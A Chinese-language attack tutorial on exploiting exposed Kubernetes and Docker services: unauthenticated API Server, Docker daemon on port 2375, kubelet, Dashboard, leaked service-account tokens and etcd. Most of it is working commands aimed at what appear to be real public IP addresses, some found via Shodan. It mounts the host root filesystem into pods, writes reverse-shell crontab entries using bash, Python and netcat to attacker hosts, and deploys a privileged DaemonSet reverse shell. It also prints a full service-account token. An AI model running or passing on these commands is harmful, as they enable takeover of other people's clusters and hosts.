云容器安全初识
API Server未授权访问
利用两个外部的环境:http://34.219.148.35:8080/、http://212.193.88.186:8080/
API Server 默认会开启两个端口:8080
和 6443
。
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous //使6443 端口允许匿名用户
直接访问 8080 端口会返回可用的 API 列表,如:
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/healthz",
"/healthz/ping",
"/logs/",
"/metrics",
"/resetMetrics",
"/swagger-ui/",
"/swaggerapi/",
"/ui/",
"/version"
]
}
而直接访问 6443 端口会提示无权限:`User “system:anonymous” cannot get at the cluster scope.
如果安装了dashboard,访问 /ui
会跳转到 dashboard
页面,可以创建、修改、删除容器,查看日志等。
Kubernetes 官方提供了一个命令行工具 kubectl。
// 获得所有节点
kubectl -s http://34.219.148.35:8080/ get nodes
// 获得所有容器
kubectl -s http://34.219.148.35:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
kubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash
根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml
,将节点的根目录挂载到容器的 /mnt
目录。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用 kubectl 创建容器:
// 由 myapp.yaml 创建容器
kubectl -s http://34.219.148.35:8080/http://34.219.148.35:8080/ create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
kubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash
// 向 crontab 写入反弹 shell 的定时任务
echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反弹 shell
echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
如果不需要反弹shell,只需要在docker内执行命令的话
kubectl -s http://34.219.148.35:8080/ exec myapp -it -- ls /etc
以上使用的端口为8080,如果需要使用6443,则需要将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。
使用shodan上的一个环境,https://34.209.45.207:6443/。
查看pods:
https://34.209.45.207:6443/api/v1/namespaces/default/pods?limit=500
添加一个pods
https://34.209.45.207:6443/api/v1/namespaces/default/pods
发送一段json数据
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
执行命令,
https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami
提示错误,对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "Upgrade request required",
"reason": "BadRequest",
"code": 400
}
利用wscat,地址:https://github.com/websockets/wscat/archive/refs/tags/3.0.0.zip
较新的版本只支持ws开头的协议,这里换个老点的版本
./wscat -n -c "https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=id"
利用yaml创建反弹shell
前提需要容器逃逸,在控制节点上创建。
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: kube-cache-node1
namespace: kube-system
spec:
selector:
matchLabels:
app: kube-cache-node1
template:
metadata:
labels:
app: kube-cache-node1
spec:
hostNetwork: true
hostPID: true
containers:
- name: main
image: bash
imagePullPolicy: IfNotPresent
command: ["bash"]
# reverse shell
args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
利用容器逃逸后的shell在目标控制节点上将上述内容保存为kiit.yaml
并执行:
kubectl apply -f kiit.yaml
Docker Daemon服务暴露至公网
Client上使用命令后,会发送对应的请求到API,也就是Docker Daemon服务。然后docker会去对应的Registry仓库拉取镜像创建容器。
这个服务本地会暴露在unix:///var/run/docker.sock上,如果容器中有权限访问到这个文件,就可以对宿主机的所有容器进行操作。
比如:http://68.183.144.186:2375/
直接访问,或者使用docker访问
docker -H tcp://68.183.144.186:2375 info
查看docker下的镜像
docker -H tcp://68.183.144.186:2375 images
创建容器,利用bash和crontab计划任务向宿主机写入shell:
centos系统挂载路径为 /var/spool/cron/root;ubuntu系统为/var/spool/cron/crontabs/root;
# 查看宿主机可用镜像
docker -H tcp://68.183.144.186:2375 image
# 启动刚刚创建的容器并连接
docker -H tcp://51.195.28.76:2375 start ct_id
docker -H tcp://51.195.28.76:2375 exec -it --user root ct_id /bin/bash
使用镜像来创建一个容器
docker -H tcp://68.183.144.186:2375 run -it -v /var/spool/cron/:/var/spool/cron/ dcf4d4bef137 /bin/bash
启动成功后,自动进入了这个容器内
写入反弹shell
root@177ac63fbb2f:/# echo '* * * * * bash -i >& /dev/tcp/158.247.216.146/8899 0>&1' >> /var/spool/cron/root
但是这个容器并没有启动,退出后会发现这个容器也停止了。需要先把这个容器启动运行。
docker -H tcp://68.183.144.186:2375 ps -a
docker -H tcp://68.183.144.186:2375 start 8f351dbd41d7
docker -H tcp://68.183.144.186:2375 exec -it --user root 8f351dbd41d7 /bin/bash
或者使用python来执行,例如
import docker
client = docker.DockerClient(base_url='http://192.168.11.160:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Kubelet 10250端口未授权访问
10250端口是kubelet API的HTTPS端口,该端口对外提供了Pod和Node的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。
curl -k https://172.18.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"
或:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"
Kubernetes Dashboard未授权访问
如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问,直接访问部署一个docker即可
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: busybox
image: busybox:1.29.2
command: ["/bin/sh"]
args: ["-c", "nc attacker 4444 -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
k8s serviceaccount token 泄露
由于k8s集群部署的时候默认会在每个pod
容器中挂载token文件到/run/secrets/kubernetes.io/serviceaccount/token
我们可以通过命令行工具 kubectl
来对api-server
进行操作。
创建一个k8s.yaml
配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.247.0.1
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: test
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
执行以下命令远程连接进入题目的k8s集群,成功通过认证。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
Etcd未授权访问
其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。
首先在Kubernetes中可以更改配置/etc/Kubernetes/manifests/etcd.yaml文件的内容,来将2379端口向外暴露
Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3
export ETCDCTL_API=3
列出该目录所有节点的信息
http://152.7.98.135:2379/v2/keys
添加上recursive=true参数,就会递归地列出所有的值
http://152.7.98.135:2379/v2/keys/?recursive=true
http://152.7.98.135:2379/v2/members 集群中各个成员的信息
安装etcdctl,可以使用类似的方式查询API
etcdctl --endpoint=http://[etcd_server_ip]:2379 ls
若存在路径/registry/secrets/default,其中可能包含对集群提升权限的默认服务令牌。
参考文章:
https://xz.aliyun.com/t/4276
https://tttang.com/archive/1389/
https://www.freebuf.com/vuls/196993.html
https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/